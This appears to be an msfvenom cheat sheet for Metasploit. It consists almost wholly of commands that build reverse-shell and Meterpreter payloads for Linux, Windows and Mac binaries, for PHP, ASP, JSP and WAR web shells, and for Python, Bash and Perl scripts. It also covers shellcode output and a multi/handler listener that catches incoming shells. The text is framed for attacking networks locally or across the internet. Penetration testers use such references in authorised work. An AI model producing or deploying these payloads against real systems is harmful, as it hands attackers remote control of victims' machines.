**Creating Metasploit Payloads**

<https://www.offensive-security.com/metasploit-unleashed/binary-payloads/>

<https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/>

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>

**Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc.). Execute and wait for the payload to be run. For the examples below it’s pretty self-explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.**

**List payloads**

|  |
| --- |
| msfvenom -l |

**Binaries**

**Linux**

|  |
| --- |
| msfvenom -p linux**/**x86**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f elf **>** shell.elf |

**Windows**

|  |
| --- |
| msfvenom -p windows**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f exe **>** shell.exe |

**Mac**

|  |
| --- |
| msfvenom -p osx**/**x86**/**shell\_reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f macho **>** shell.macho |

**Web Payloads**

**PHP**

|  |
| --- |
| msfvenom -p php**/**meterpreter\_reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f raw **>** shell.php  **cat** shell.php **|** pbcopy **&&** **echo** '<?php ' **|** **tr** -d '\n' **>** shell.php **&&** pbpaste **>>** shell.php |

**ASP**

|  |
| --- |
| msfvenom -p windows**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f asp **>** shell.asp |

**JSP**

|  |
| --- |
| msfvenom -p java**/**jsp\_shell\_reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f raw **>** shell.jsp |

**WAR**

|  |
| --- |
| msfvenom -p java**/**jsp\_shell\_reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f war **>** shell.war |

**Scripting Payloads**

**Python**

|  |
| --- |
| msfvenom -p cmd**/**unix**/**reverse\_python LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f raw **>** shell.py |

**Bash**

|  |
| --- |
| msfvenom -p cmd**/**unix**/**reverse\_bash LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f raw **>** shell.sh |

**Perl**

|  |
| --- |
| msfvenom -p cmd**/**unix**/**reverse\_perl LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f raw **>** shell.pl |

**Shellcode**

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

**Linux Based Shellcode**

|  |
| --- |
| msfvenom -p linux**/**x86**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f **<**language**>** |

**Windows Based Shellcode**

|  |
| --- |
| msfvenom -p windows**/**meterpreter**/**reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f **<**language**>** |

**Mac Based Shellcode**

|  |
| --- |
| msfvenom -p osx**/**x86**/**shell\_reverse\_tcp LHOST=**<**Your IP Address**>** LPORT=**<**Your Port to Connect On**>** -f **<**language**>** |

**Handlers**

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

|  |
| --- |
| use exploit**/**multi**/**handler  **set** PAYLOAD **<**Payload name**>**  **set** LHOST **<**LHOST value**>**  **set** LPORT **<**LPORT value**>**  **set** ExitOnSession **false**  exploit -j -z |

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘